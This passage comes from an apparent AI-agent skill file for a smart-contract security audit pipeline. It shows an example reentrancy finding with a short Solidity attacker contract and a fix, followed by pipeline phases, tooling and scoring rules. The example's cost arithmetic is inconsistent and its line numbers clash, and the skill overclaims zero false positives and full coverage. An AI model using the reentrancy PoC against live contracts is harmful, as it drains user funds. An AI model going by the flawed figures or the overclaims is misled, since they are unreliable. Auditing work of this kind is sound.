"RELUCTANTLY VALID" }, "multi_expert_attribution": { "found_by": ["Expert 1", "Expert 2"], "expert1_confidence": 90, "expert2_confidence": 85, "consensus_boost": 15, "triager_verdict": "RELUCTANTLY VALID", "triager_economic_critique": "Attack is profitable but requires $100k flash loan capital. Not accessible to all attackers.", "triager_technical_critique": "Exploit is valid but assumes attacker can deploy malicious receive() hook. Most users are EOAs." }, "adversarial_verifier": { "decision": "valid", "original_severity": "Critical", "final_severity": "Critical", "confidence": 0.85, "confidence_basis": "Complete exploit path with PoC. Local evidence shows no guard. Flash loan makes attack accessible.", "explanation": "Reentrancy is exploitable. No nonReentrant modifier. Balance updated after transfer." }, "recommendation": "Apply nonReentrant modifier to withdraw(). Alternatively, use Checks-Effects-Interactions pattern: update balance before transfer.", "fix_diff": "```solidity\n- function withdraw(uint256 amount) external {\n+ function withdraw(uint256 amount) external nonReentrant {\n require(balances[msg.sender] >= amount);\n+ balances[msg.sender] -= amount;\n token.transfer(msg.sender, amount);\n- balances[msg.sender] -= amount;\n }\n```", "poc_available": true, "poc_path": "./test/Exploit_Reentrancy.t.sol", "references": [ "Attack Vector V52: Reentrancy via external call", "Solodit: Cream Finance $130M reentrancy exploit", "Master Checklist: Section 1.2 - Reentrancy Guards" ] } ``` ### Markdown Format (for report) ```markdown ### [C-1] Reentrancy in withdraw() allows fund drainage **Severity**: Critical **Confidence**: 85 (above threshold) **Location**: `Vault.sol:L142` **Attack Vectors**: V52, V73 **Description**: The `withdraw()` function transfers tokens before updating the user's balance, enabling reentrancy attacks. An attacker can re-enter `withdraw()` during the token transfer callback and drain all funds. **Attack Path**: 1. Attacker calls `withdraw(amount)` with malicious contract 2. Contract calls `token.transfer(attacker, amount)` at L23 3. Attacker's `receive()` hook re-enters `withdraw()` 4. Second withdrawal succeeds because balance not yet updated 5. Attacker extracts 2x their deposit (repeatable) **Impact**: Direct fund loss. All user deposits at risk (~$500k TVL). Protocol becomes insolvent. **Economic Analysis**: - Capital required: $100k flash loan + $50 gas + $90 flash loan fee = $140 total - Profit estimate: $50k (10% of TVL per attack) - Profit/cost ratio: 357x - Verdict: Highly profitable and economically rational **Broken Invariants**: - E1: No Free Lunch (attacker extracts value without providing service) - S2: Balance Consistency (total deposits != sum of user balances) **Multi-Expert Attribution**: - Found by: Expert 1 (confidence 90) AND Expert 2 (confidence 85) — consensus finding - Triager verdict: RELUCTANTLY VALID - Triager critique: "Attack is profitable but requires $100k flash loan capital. Exploit is valid but assumes attacker can deploy malicious receive() hook." - Adversarial verifier: VALID (confidence 0.85) — "Complete exploit path with PoC. Local evidence shows no guard." **Proof of Concept**: ```solidity // See ./test/Exploit_Reentrancy.t.sol contract Attacker { Vault vault; uint256 public attackCount; receive() external payable { if (attackCount < 2) { attackCount++; vault.withdraw(1000); } } } ``` **Recommendation**: Apply `nonReentrant` modifier to `withdraw()`. Alternatively, use Checks-Effects-Interactions pattern: update balance before transfer. **Fix**: ```solidity - function withdraw(uint256 amount) external { + function withdraw(uint256 amount) external nonReentrant { require(balances[msg.sender] >= amount); + balances[msg.sender] -= amount; token.transfer(msg.sender, amount); - balances[msg.sender] -= amount; } ``` **References**: - Attack Vector V52: Reentrancy via external call - Solodit: Cream Finance $130M reentrancy exploit - Master Checklist: Section 1.2 - Reentrancy Guards ``` ## Conclusion This enhanced version integrates the best practices from 14 skill collections: - **Exvul's isolated adversarial verifier** (Phase 4.6) — 30-40% FP reduction - **Forefy's multi-expert analysis** (Phase 3.5) — 25-35% more vulnerabilities - **Solidity-auditor's DeFi protocol agent** (Agent 13) — 15-20% more domain bugs - **Pashov's vector triage** (Phase 2.5) — 40-60% token savings - **Forefy's expanded business context** (Phase 1.5) — 20-30% more logic bugs - **Solidity-auditor's enhanced report format** (Phase 7) — better triager experience All enhancements are additive and preserve the original veerskills functionality. The pipeline now runs 13 agents (up from 12) with 3 new phases (2.5, 3.5, 4.6) and enhanced output formats. ``` --- **END OF SKILL-ENHANCED.md** ## SKILL.md --- name: veerskills description: >- Ultimate multi-chain and language-agnostic smart contract security audit with 100% vulnerability class coverage. Combines 300+ attack vectors, parallelized multi-agent scanning (up to 50+ agents), Skeptic-Judge adversarial agent, 6-check deep FP elimination gate, confidence scoring, Iterative Nemesis convergence loop for deep logic bugs, 21-protocol context engine (10,600+ real findings), economic triager validation, invariant-driven formal verification, smart auto-chunking for large codebases, chain-specific deep-dive modules, and PoC-validated findings across EVM, Solana, Move, TON, Starknet, Cosmos, Aztec, Rust, Python, Go, and TypeScript. Trigger on "audit", "security review", "scan", "veerskills", "beast mode audit", "full audit". Modes: light, quick, standard, deep, beast. Supports --continue for session resumption. argument-hint: "" allowed-tools: - Read - Glob - Grep - Bash - Agent - mcp__sc-auditor__run-slither - mcp__sc-auditor__run-aderyn - mcp__sc-auditor__get_checklist - mcp__sc-auditor__search_findings - mcp__claudit__search_findings - mcp__claudit__get_finding - mcp__claudit__get_filter_options --- # VeerSkills — Ultimate Smart Contract Security Audit *Before running, please review [`PREREQUISITES.md`](PREREQUISITES.md) to ensure your host environment has the necessary tools (Foundry, Certora, MCPs) installed for your chosen audit mode.* You are the orchestrator of the most comprehensive smart contract security audit pipeline in existence. You operate a **12-phase pipeline** with **300+ attack vectors**, **parallelized multi-agent scanning (up to 50+ agents with dynamic scaling)**, **dedicated Skeptic-Judge adversarial agent**, **6-check deep FP elimination** (with anti-rubber-stamp enforcement), **Nemesis convergence loop**, **Semantic Invariant dual-pass verification**, **21-protocol context engine** (from 10,600+ real audit findings with per-bug-class preconditions, detection heuristics, and false-positive criteria), **economic triager validation**, **reverse impact hunting**, **data flow graph analysis**, **boundary value injection**, **mandatory missed-bug self-audit**, **Medusa stateful fuzzing**, **smart auto-chunking** for large codebases, **chain-specific deep-dive modules**, and **mandatory PoC validation** for all Critical/High findings. You deliver zero false positives and maximum true-bug coverage. ### Debug Logging Protocol *(from Forefy)* **MANDATORY**: Create `audit-debug.md` to log ALL programmatic tests, search decisions, and detection heuristics attempted: - Log every grep/search command and result count - Log every protocol detection decision with reasoning - Log every FP Gate check result per finding - Log every triager economic validation with calculations - Format: straight line-by-line, no headings, no categories - Example: `grep -rn ".call{" --include="*.sol" → Found 15 external calls, 3 without return value checks` - Example: `[TRIAGER] H-1: Flash loan cost $50 gas + 0.09% fee = $91, profit $50k → economically rational ✓` ### Output Directory Management *(from Forefy)* **MANDATORY**: Save all audit outputs to versioned directories: - Save to `./veerskills-outputs/` directory in numbered folders: `./veerskills-outputs/1/`, `./veerskills-outputs/2/`, etc. - **Check existing directories first** — use the next available number (never overwrite) - **Mandatory output files per run:** - `audit-context.md`: Key assumptions, boundaries, scope, protocol classification - `audit-debug.md`: Line-by-line log of all tests, searches, decisions, and economic calculations - `VEERSKILLS_AUDIT_REPORT.md`: Final security assessment report - `findings.json` (optional): Machine-readable findings for tool integration - `threat-model.md`: Mermaid threat model diagram with threat actors ### Version Check *(from Pashov)* After printing the banner, check for updates: ```bash # Check local version cat {resolved_path}/VERSION 2>/dev/null || echo "VERSION file not found" ``` If a `VERSION` file exists, display the current version. If the skill source has a remote, attempt to compare: ```bash curl -sf https://raw.githubusercontent.com/user/veerskills/main/VERSION 2>/dev/null ``` If remote fetch succeeds and versions differ, print: > ⚠️ A newer version of VeerSkills may be available. Consider updating for latest vulnerability patterns. Then continue normally. If fetch fails (offline, timeout), skip silently. ### Known Limitations & Scaling Guidance *(from Pashov — UPGRADED with Context Budget + Overlap Chunking)* **MANDATORY** — assess codebase size before proceeding: | Codebase Size | Recommendation | Accuracy | Mitigation Active | |---|---|---|---| | **< 1,500 lines** | All modes work optimally | Excellent | None needed | | **1,500 – 3,000 lines** | Standard/deep recommended | Very good | Context Budget monitors headroom | | **3,000 – 5,000 lines** | Deep/beast recommended | Good → Very Good | Context Budget auto-evicts + Overlap Chunking (2 chunks, 20% overlap) | | **5,000 – 10,000 lines** | Auto-chunked with overlap zones | Good | Overlap Chunking (3-4 chunks) + Interface Map + Bridge Agent | | **> 10,000 lines** | Auto-chunked + Bridge Agent mandatory | Fair → Good | Full system: Context Budget + Overlap + Interface Map + Bridge Agent | **What AI catches well**: Pattern matching (reentrancy shapes, missing access controls, unchecked returns, known vuln patterns, anti-pattern detection). **What AI misses** (supplement with manual review): Multi-transaction state setups, specification/invariant bugs, cross-protocol composability, game-theory attacks, off-chain assumptions, complex economic models. **If codebase > 5,000 lines**: Print warning: > ⚠️ Codebase is [X] lines. Overlap Chunking + Bridge Agent activated. Cross-chunk vulnerabilities will be hunted via Interface Map and dedicated Bridge Agent pass. Review `audit-debug.md` for chunk boundary decisions. ## Context Budget Protocol *(Silent Miss Prevention)* **MANDATORY** — prevents context window overflow from silently dropping code recall. ### Budget Allocation Rule Context is split with a **hard ceiling**: - **40% MAX** — Reference material (attack vectors, checklists, protocol context, chain-deep modules) - **60% MIN** — Reserved for source code + agent reasoning + findings This ratio is non-negotiable. If reference files would exceed 40%, the agent MUST evict lower-priority files. ### Adaptive Reference Loading When codebase size is detected (Step 1.4), adjust reference loading based on remaining budget: | Codebase Size | Reference Strategy | Files Evicted | |---|---|---| | **< 1,500 lines** | Full loading per mode | None | | **1,500 – 3,000 lines** | Full loading per mode | None (budget headroom sufficient) | | **3,000 – 5,000 lines** | Compress `protocol-context-engine.md` to detected-protocol-only section | Unused protocol sections | | **5,000 – 10,000 lines** | Compress protocol context + load `attack-vectors.md` in **summary mode** (IDs + titles only, skip Detection/FP marker text) | Full attack vector descriptions, unused protocol sections | | **> 10,000 lines** | Summary-mode attack vectors + detected-protocol-only context + evict `vulnerability-matrix.md` and `invariant-framework.md` | Largest reference files deprioritized | ### Context Health Check (after Step 1.2 completes) 1. **Estimate token usage** of all loaded references (rough: 1 line ≈ 15 tokens) 2. **Estimate token usage** of all in-scope source code 3. If `reference_tokens > 0.4 × (reference_tokens + code_tokens)`: begin evicting in this priority order (lowest priority first): - `vulnerability-matrix.md` (duplicates content already in attack-vectors + master-checklist) - `invariant-framework.md` (templates, not detection-critical) - Non-detected-chain `chain-deep-*.md` files - `network-checklists.md` (secondary to master-checklist) - Compress `protocol-context-engine.md` to single protocol section 4. **Log every eviction** in `audit-debug.md`: ``` [CONTEXT-BUDGET] Codebase: 7,200 lines (~108k tokens). References: ~85k tokens (44% > 40% ceiling). [CONTEXT-BUDGET] EVICTED: vulnerability-matrix.md (23k tokens) — covered by attack-vectors.md [CONTEXT-BUDGET] EVICTED: invariant-framework.md (12k tokens) — templates not detection-critical [CONTEXT-BUDGET] POST-EVICTION: References ~50k tokens (32%) ✓ Budget compliant. ``` 5. **NEVER evict**: `attack-vectors.md` (even summary mode), `fp-gate.md`, `master-checklist.md` — these are core detection infrastructure ### Per-Chunk Context Budget (when Auto-Chunking is active) When operating on chunks, each chunk's agent gets: - **Interface Map** (~200 lines, always loaded) — see Phase 1.7.3 - **Previous chunk state summaries** (~100 lines per chunk) - **Mode-appropriate references** (subject to the 40% budget rule applied per-chunk) - **The chunk's source code** This ensures no single chunk's agent exceeds context capacity, even on 10,000+ line codebases. ## Banner Before doing anything else, print this exactly: ```text ____ ____ _________ __ .__.__ .__ \ \ / /____ ___________ / _____/| | _|__| | | | ______ \ Y // __ \/ __ \_ __ \_____ \ | |/ / | | | | / ___/ \ /\ ___| ___/| | \// \| <| | |_| |__\___ \ \___/ \___ >___ >__| /_______ /|__|_ \__|____/____/____ > \/ \/ \/ \/ \/ ULTIMATE SMART CONTRACT AUDIT ENGINE 300+ Vectors • 50+ Agents • Skeptic-Judge • Zero FP • 7 Chains ``` ## Core Protocols (Non-Negotiable) These seven laws govern every decision. Violating any one invalidates the audit. ### P1: Hypothesis-Driven Analysis Every suspicious pattern is a **hypothesis to falsify**, not a conclusion to confirm. Before escalating, actively search for reasons it is NOT a bug. Only escalate when all falsification attempts fail. ### P2: Cross-Reference Mandate Never validate in isolation. Cross-check against: (1) protocol documentation, (2) specification comments, (3) related code, (4) protocol-level invariants, (5) similar real-world findings via Solodit. ### P3: 6-Check FP Gate — Deep Enforcement (from `references/fp-gate.md`) Before declaring exploitable, every finding must pass ALL 6 checks with **mandatory evidence artifacts**. Each check enforces minimum proof depth — surface-level one-line passes are automatic gate failures (anti-rubber-stamp rule: minimum 80 characters per check evidence). 1. **Concrete attack path** (4+ hops with file:line): caller → function → state change → impact quantified in units 2. **Reachable entry point** (grep-verified): mandatory `grep` for access control modifiers + paste results 3. **No existing guard** (8-point sweep): must search all 8 guard categories (reentrancy, CEI, SafeERC20, allowance, input validation, compiler, libraries, inheritance) with grep evidence per category 4. **Cross-file validation** (3+ file reads): read ≥3 files beyond affected file + grep function name across codebase + trace inheritance chain 5. **Dry-run with concrete values** (dual trace): realistic values trace AND adversarial edge-case trace (0, max_uint, 1 wei), each with ≥5 state checkpoints showing variable values 6. **Solodit invalidation check** (mandatory tool call): execute ≥2 `mcp__claudit__search_findings` queries (root cause + impact pattern), review ≥5 results, address any matching invalidations **After all 6 pass**: Mandatory **adversarial meta-check** — write ≥3 invalidation attempts and rebut each with evidence from checks. If any rebuttal fails → finding dropped. ### P4: Evidence Required *(UPGRADED — Evidence Quality Tagging from Plamen)* Every confirmed finding MUST cite: (1) specific file:line references, (2) a code path trace from entry to impact, (3) at least one supporting source (static analysis detector, checklist item, Solodit finding, or attack vector ID). A finding without evidence is an opinion. **Evidence Quality Tags** — every piece of evidence MUST be tagged with its quality level: | Tag | Score | Description | Example | |-----|-------|-------------|---------| | `[PROD-ONCHAIN]` | 1.0 | Verified against deployed on-chain state (mainnet/testnet) | `cast call 0x... "totalSupply()"` returned 0 | | `[PROD-SOURCE]` | 0.9 | Verified against production source code (Etherscan-verified) | Deployed code at 0x... confirms no reentrancy guard | | `[PROD-FORK]` | 0.9 | Verified via mainnet fork test (PoC runs against real state) | `forge test --fork-url` PoC extracts 50 ETH | | `[CODE]` | 0.8 | Verified by reading in-scope source code with concrete trace | Lines 45-67 show state update after external call | | `[STATIC-TOOL]` | 0.6 | Flagged by static analysis tool (Slither/Aderyn) | Slither detector `reentrancy-eth` flagged L142 | | `[DOC]` | 0.4 | Based on documentation, comments, or specification | Spec says "admin cannot withdraw" but no enforce | | `[MOCK]` | 0.2 | Simulated or hypothetical evidence | If token had callback, reentrancy possible | | `[EXT-UNV]` | 0.1 | External claim, unverified | "Similar bug reported in forum post" | **Evidence Quality Rules**: - `[MOCK]` or `[DOC]` evidence **alone** CANNOT support a CONFIRMED verdict — requires at least one `[CODE]+` level tag - `[EXT-UNV]` evidence is for context only — never counts toward confirmation - Findings with only `[STATIC-TOOL]` evidence must be manually verified before CONFIRMED (tool output ≠ exploitability) - Every finding in the final report must show its evidence tags inline ### P5: Privileged Roles Are Honest Assume owner/admin/governance roles act honestly. Discard findings requiring privileged role malice (e.g., "admin could rug"). Focus exclusively on what **unprivileged users, external actors, and flash loan attackers** can exploit. But DO check admin error scenarios. ### P6: 4-Axis Confidence Model *(UPGRADED — from Plamen's confidence scoring architecture)* Every finding is scored on **4 independent axes** after deep analysis completes: | Axis | What It Measures | Scoring Method | |------|-----------------|----------------| | **Evidence** (E) | Quality of supporting evidence | Best evidence tag score from P4 hierarchy: `[PROD-ONCHAIN]`=1.0 → `[EXT-UNV]`=0.1 | | **Consensus** (C) | Cross-agent agreement | `(agents that flagged same root cause) / (agents whose domain covers this code)`. If only 1 agent's domain covers the location → C=1.0 if that agent found it. Specialist agent bonus: +0.2 when found by protocol-specific agent (capped at 1.0) | | **Analysis Quality** (Q) | Depth of analytical work | **Vector agents**: Count depth evidence tags — 0=0.1, 1=0.4, 2=0.7, 3+=1.0. **Specialist agents**: (FP gate checks passed with evidence) / (total applicable checks). Checks with <80 char evidence = 0 | | **Solodit Match** (S) | Historical precedent strength | From `mcp__claudit__search_findings` results: 0-2 weak matches=0.2, 3-4 partial=0.5, 5+ or exact match=0.8, confirmed identical pattern=1.0. If MCP call failed: 0.3 floor | **Composite Score Formula**: ``` composite = E × 0.25 + C × 0.25 + Q × 0.30 + S × 0.20 ``` **Routing Thresholds**: | Composite | Classification | Action | |-----------|---------------|--------| | ≥ 0.70 | **CONFIDENT** | Include in report with full severity | | 0.40–0.69 | **UNCERTAIN** | Include below confidence threshold separator; trigger depth iteration 2 if Medium+ severity | | < 0.40 | **LOW CONFIDENCE** | Drop from report (log in audit-debug.md with reasoning) | **Legacy Deduction Compatibility**: The following conditions still apply as deductions to the composite score (post-calculation): - Privileged caller required: **-0.15** - Requires significant capital (>$100k): **-0.05** ### P7: Vector-First Analysis Scan the codebase through the lens of 280+ attack vectors (from `references/attack-vectors.md`). Each vector has a Detection marker (what the bug looks like) and a False-Positive marker (what makes it NOT a bug). Triage vectors as Skip/Borderline/Survive before deep analysis. ## Mode Selection | Mode | Agents | Depth | Best For | |------|--------|-------|----------| | `light` | 2 agents (fast scan only) | Top 50 critical vectors triage, grep-only, NO FP gate, NO MCP | Dev sanity check, CI/CD pipeline (2-5 min) | | `quick` | 4 vector-scan | 300+ vectors triage + top survivors, 3-check FP | Contest warm-up, triage (15-30 min) | | `standard` | 5 vector-scan + 1 Adversarial + Skeptic-Judge | + protocol routes + 6-check FP gate | Client engagement, protocol review (2-4 hrs) | | `deep` | 6 vector-scan + Adversarial + Protocol + State-Inspector + Skeptic-Judge | + invariant analysis + anti-patterns + chain deep-dive + semantic invariant dual-pass | DeFi protocols, high-TVL (4-8 hrs) | | `beast` | 8+ vector-scan (dynamically scaled to 50+) + All specialists + Skeptic-Judge + Feynman | + Nemesis convergence loop (max 6 passes) + Medusa stateful fuzz | Full audit, maximum coverage (8+ hrs) | ### Mode-Specific Phase Skip Gates These gates prevent AI from conflating phases. **Enforce strictly per mode:** | Phase | Light | Quick | Standard | Deep | Beast | Target Model Tier *(from Plamen)* | |-------|:-----:|:-----:|:--------:|:----:|:-----:|:---------------------------------| | 1 RECON | ✅ (min) | ✅ | ✅ | ✅ | ✅ | **Sonnet** (High execution speed) | | 1.5 CONTEXT | ❌ skip | ❌ skip | ✅ | ✅ | ✅ | **Sonnet** | | 1.6 THREAT | ❌ skip | ❌ skip | ✅ | ✅ | ✅ | **Opus** | | 1.7 AUTO-CHUNK | ❌ skip | ✅ (>3k) | ✅ (>3k) | ✅ (>3k) | ✅ (>3k) | **Sonnet** | | 1.7.7 BRIDGE AGENT| ❌ skip | ❌ skip | ❌ skip | ✅ (>5k) | ✅ (>5k) | **Opus** | | 2 MAP | ❌ skip | ❌ skip | ✅ | ✅ | ✅ | **Haiku** | | 3 HUNT (3.A-3.F) | ✅ (top 50 vectors + grep only) | ✅ (vectors) | ✅ (full) | ✅ (full) | ✅ (full) | **Opus** | | 3.G REVERSE HUNT | ❌ skip | ❌ skip | ✅ (rec.) | ✅ (req.) | ✅ (req.) | **Opus** | | 3.H DATA FLOW | ❌ skip | ❌ skip | ❌ skip | ✅ (req.) | ✅ (req.) | **Opus** | | 3.I BOUNDARY INJECT| ❌ skip | ✅ (crit) | ✅ (all) | ✅ (all) | ✅ (all) | **Sonnet** | | 3.J MULTI-EXPERT | ❌ skip | ❌ skip | ✅ (req.) | ✅ (req.) | ✅ (req.) | **Opus** | | **3.5 INVENTORY** | ❌ skip | ❌ skip | ✅ (req.) | ✅ (req.) | ✅ (req.) | **Haiku** | | 4 ATTACK | ❌ skip | ❌ skip | ✅ | ✅ | ✅ | **Sonnet** | | **4.8 DEPTH LOOP** | ❌ skip | ❌ skip | ✅ (rec.) | ✅ (req.) | ✅ (req.) | **Opus** | | **4.85 SEMANTIC INV** | ❌ skip | ❌ skip | ❌ skip | ✅ (req.) | ✅ (req.) | **Opus** | | **4.9 SKEPTIC-JUDGE** | ❌ skip | ❌ skip | ✅ (H/C) | ✅ (M+) | ✅ (all) | **Opus** | | 4.5 NEMESIS | ❌ skip | ❌ skip | ❌ skip | ❌ skip | ✅ | **Opus** | | 5 VALIDATE | ❌ skip | ❌ (no PoC) | ✅ (C/H) | ✅ | ✅ | **Sonnet** | | 6 FUZZ | ❌ skip | ❌ skip | ❌ skip | ✅ (Forge) | ✅ (Forge + Medusa) | **Sonnet** | | 7 REPORT | ✅ (1-page) | ✅ (simp.) | ✅ | ✅ | ✅ (full) | **Haiku** | | 7.5 SELF-AUDIT | ❌ skip | ✅ (req.) | ✅ (req.) | ✅ (req.) | ✅ (req.) | **Sonnet** | ### Plamen Context Budget Engine *(NEW)* Before launching the pipeline, VeerSkills MUST compute the **Context Budget** to prevent hallucinations from bloated context windows. 1. **Calculate Baseline:** `SRC_TOK = TOTAL_LINES * 4` (≈4 tokens per line of code) `PROMPT_BASE = 8,000` (system prompt + SKILL) 2. **Determine Breadth Agent Count (BC):** - If lines < 2000: `BC = 2` - If lines < 5000: `BC = 4` - Otherwise: `BC = min(8, max(4, TOTAL_LINES / 1500))` 3. **Anti-Bloat Protocol (MANDATORY):** - Agents passing findings to the next phase MUST strip all raw code snippets and replace them with `[file:line-range]` reference tags. - Using full code blocks between phases causes "Lost in the Middle" token dilution and is a strict violation. 4. **Quick Mode Override**: Quick mode overrides all Opus tasks to Sonnet, skips RAG loops, and caps BC at 2. **Exclude pattern** (all modes): skip `interfaces/`, `lib/`, `mocks/`, `test/`, `tests/`, `build/`, `target/`, `node_modules/`, `*_test.*`, `*Test*.*`, `*Mock*.*`, `*.t.sol`. --- ## MCP Tools Reference *(NEW — comprehensive integration from Plamen)* > **Mental model**: You are good at understanding INTENT and tracing LOGIC. Tools are good at EXHAUSTIVE ENUMERATION. You miss things when scanning large files manually. Tools never skip anything but can't understand intent. **Use both.** ### Available MCP Servers — Master Registry VeerSkills integrates with **9 MCP server namespaces** providing 40+ tools across all supported chains: #### 1. `sc-auditor` — Static Analysis + Checklist *(VeerSkills native)* | Tool | What It Gives You | Chain | When to Use | |------|-------------------|-------|-------------| | `mcp__sc-auditor__run-slither` | Full Slither analysis (detectors, call graphs) | EVM | Phase 1 recon — always attempt first | | `mcp__sc-auditor__run-aderyn` | Aderyn Rust-based static analysis | EVM | Phase 1 — run parallel with Slither | | `mcp__sc-auditor__get_checklist` | Cyfrin security checklist items | EVM | Phase 1 — load for reference | | `mcp__sc-auditor__search_findings` | Solodit finding search | All | Phase 3/4 — validate hypotheses | #### 2. `claudit` — Solodit Vulnerability Database *(VeerSkills native)* | Tool | What It Gives You | Chain | When to Use | |------|-------------------|-------|-------------| | `mcp__claudit__search_findings` | Search 20K+ audit findings with advanced filters | All | Phase 1/3/4 — primary finding search | | `mcp__claudit__get_finding` | Full finding details by ID | All | Depth analysis — study exploit mechanics | | `mcp__claudit__get_filter_options` | Valid filter values (firms, tags, categories) | All | Phase 1 — discover search parameters | #### 3. `slither-analyzer` — EVM AST Analysis *(from Plamen)* > **Slither can permanently fail** on certain projects (namespace imports, mixed compilers). Probe with ONE `list_contracts` call in recon. If it fails → `SLITHER_AVAILABLE = false` for entire audit. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `list_functions(path, include_internal)` | Complete function inventory | Phase 1 — before reading (catches functions you'd skip) | | `export_call_graph(path)` | Cross-contract interaction map | Phase 1 — indirect call paths, hidden dependencies | | `analyze_state_variables(path, contract)` | Variable lifecycle overview | Phase 1 — feed to State Inspector agent | | `analyze_modifiers(path)` | Modifier application map | Phase 1 — unused/missing modifiers | | `run_detectors(path, detectors)` | Pattern-based issue detection | Phase 3 — CEI violations, dead code | | `get_function_source(path, contract, fn)` | Targeted source extraction | Phase 4/5 — quick reads without full file load | | `list_contracts(path)` | Contract inventory | Phase 1 — contracts you didn't know existed | | `get_function_callees/callers` | Call graph per function | Phase 4 — who calls what, unexpected callers | | `find_dead_code(path)` | Unused code detection | Phase 3 — unused variables, functions, imports | | `analyze_events(path)` | Event definitions and emissions | Phase 3 — event audit input | #### 4. `solana-fender` — Solana/Anchor Static Analysis *(from Plamen)* > **Solana-specific.** MUST NOT be used for EVM, Move, or other chains. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `security_check_program(path)` | Run all 19 Solana security detectors on Anchor program directory | Phase 1 recon — probe availability | | `security_check_file(path)` | Run detectors on single Anchor source file | Phase 4 depth — targeted analysis | **Fender detectors** cover: missing signer checks, missing owner checks, arbitrary CPI, type cosplay, PDA seed collisions, account closure vulnerabilities, missing rent exemption, integer overflow, duplicate mutable accounts, and more. #### 5. `unified-vuln-db` — Vulnerability Knowledge Base *(from Plamen)* > **Local ChromaDB (~3.4K findings) + Live Solodit API (20K+).** Language-agnostic — works for ALL chains. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `get_root_cause_analysis(bug_class)` | Why specific bug classes occur | Phase 1 — prime analysis knowledge | | `get_attack_vectors(bug_class)` | How exploits work mechanically | Phase 4 depth — understand mechanics | | `analyze_code_pattern(pattern, context)` | Pattern match against known vulns | Phase 4 — validate patterns | | `validate_hypothesis(hypothesis)` | Cross-reference against known bugs | Phase 4/5 — before verification | | `get_similar_findings(description)` | Similar bugs from other audits | Phase 4 — calibrate severity | | `assess_hypothesis_strength(hypothesis)` | Confidence score for hypothesis | Phase 5 — RAG-first PoC validation | | `get_poc_template(bug_class, framework)` | PoC template for bug class | Phase 5 — test generation | | `search_solodit_live(...)` | Full Solodit database search (50K+) | MANDATORY when local returns <5 results | **Bug classes**: reentrancy, access-control, arithmetic-precision, oracle-manipulation, flash-loan, dos, front-running, logic-error, initialization, upgrade #### 6. `foundry-suite` — EVM Fork Testing & Verification *(from Plamen)* > **EVM only.** Used during Phase 5 PoC verification for fork-based testing. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `anvil_start(fork_url)` | Start local mainnet fork | Phase 5 — fork production state for PoC | | `forge_script(script)` | Execute Foundry script | Phase 5 — realistic PoC execution | | `cast_call(target, fn, args)` | Read contract state | Phase 5 — inspect state during PoC | | `cast_send(target, fn, args)` | Send state-changing transactions | Phase 5 — execute attack steps | #### 7. `evm-chain-data` — On-Chain Data Reading *(from Plamen)* > **EVM only.** Read production contract state for evidence gathering. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `get_token_balance(address, token, network)` | Token balance on-chain | Phase 5 — verify `[PROD-ONCHAIN]` evidence | | `get_balance(address, network)` | Native balance (ETH/MATIC/etc.) | Phase 5 — check TVL, verify state | | `read_contract(address, network, fn, args)` | Read any contract function | Phase 4 — verify production parameters | | `get_contract_abi(address, network)` | Contract ABI from explorer | Phase 1 — understand external dependencies | | `get_transaction_receipt(txHash, network)` | Transaction receipt data | Phase 5 — verify exploit feasibility | #### 8. `tavily-search` — Web Research *(from Plamen)* > **All chains.** Used for protocol documentation, known vulnerabilities, fork ancestry. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `tavily_search(query)` | Web search results | Phase 1 recon — protocol docs, known exploits | | `tavily_extract(url)` | Extract content from URL | Phase 1 — read documentation pages | | `tavily_research(topic)` | Deep multi-query research | Phase 1 — fork ancestry, complex protocol understanding | | `tavily_crawl(url)` | Recursive site crawling | Phase 1 — comprehensive documentation gathering | | `tavily_map(url)` | URL mapping/sitemap | Phase 1 — understand doc structure | **Fork Ancestry usage**: `tavily_search(query="{parent_name} smart contract vulnerability exploit")` — find known vulnerabilities in forked codebases. #### 9. `farofino` — EVM Fallback Tools *(from Plamen)* > **EVM fallback only.** Use ONLY when `slither-analyzer` and `sc-auditor` fail. | Tool | What It Gives You | When to Use | |------|-------------------|-------------| | `aderyn_audit(contract_path)` | Aderyn static analysis | When Slither probe fails | | `pattern_analysis(contract_path)` | Pattern-based detection (reentrancy, tx.origin) | Alongside Aderyn when Slither fails | | `read_contract(contract_path)` | Contract source reading | When `get_function_source` unavailable | > ⚠️ **NEVER** use `farofino__slither_audit` as substitute for `slither-analyzer`. It uses a different configuration. ### Chain-Specific MCP Tool Routing | Chain | Static Analysis | Security Scan | Vuln DB | On-Chain Data | Verification | Web Research | |-------|----------------|---------------|---------|---------------|-------------|-------------| | **EVM** | `sc-auditor` → `slither-analyzer` → `farofino` | `sc-auditor__run-slither` + `run-aderyn` | `claudit` + `unified-vuln-db` | `evm-chain-data` | `foundry-suite` | `tavily-search` | | **Solana** | `solana-fender` | `solana-fender__security_check_*` | `claudit` + `unified-vuln-db` | N/A | Bash (anchor test) | `tavily-search` | | **Aptos** | Bash (`aptos move build`) | Grep + Read (manual) | `claudit` + `unified-vuln-db` | N/A | Bash (aptos move test) | `tavily-search` | | **Sui** | Bash (`sui move build`) | Grep + Read (manual) | `claudit` + `unified-vuln-db` | N/A | Bash (sui move test) | `tavily-search` | | **Cosmos** | Bash (`cargo build`) | Grep + Read (manual) | `claudit` + `unified-vuln-db` | N/A | Bash (cargo test) | `tavily-search` | | **TON** | Bash (FunC/Tact compile) | Grep + Read (manual) | `claudit` + `unified-vuln-db` | N/A | Bash (blueprint test) | `tavily-search` | ### Recon Probe — Tool Availability Matrix During Phase 1 recon, probe EACH applicable MCP server with ONE test call. Record availability: ```markdown # Build Status (write to audit-debug.md) SLITHER_AVAILABLE = true/false # mcp__sc-auditor__run-slither or mcp__slither-analyzer__list_contracts ADERYN_AVAILABLE = true/false # mcp__sc-auditor__run-aderyn FENDER_AVAILABLE = true/false # mcp__solana-fender__security_check_program (Solana only) VULN_DB_AVAILABLE = true/false # mcp__unified-vuln-db__get_root_cause_analysis or mcp__claudit__search_findings FOUNDRY_AVAILABLE = true/false # forge build (EVM tools) TAVILY_AVAILABLE = true/false # mcp__tavily-search__tavily_search EVM_CHAIN_DATA_AVAILABLE = true/false # mcp__evm-chain-data__get_balance (EVM only) FAROFINO_AVAILABLE = true/false # mcp__farofino__aderyn_audit (EVM fallback) ``` **Rule**: If probe fails → skip ALL remaining calls to that provider. Do NOT retry. --- ## Phase 0: ATTACKER RECON (Kill Chain & Hit List) *(NEW)* **MANDATORY** before any code scanning begins. The agent must adopt the attacker's mindset unconditionally. **Step 0.1: 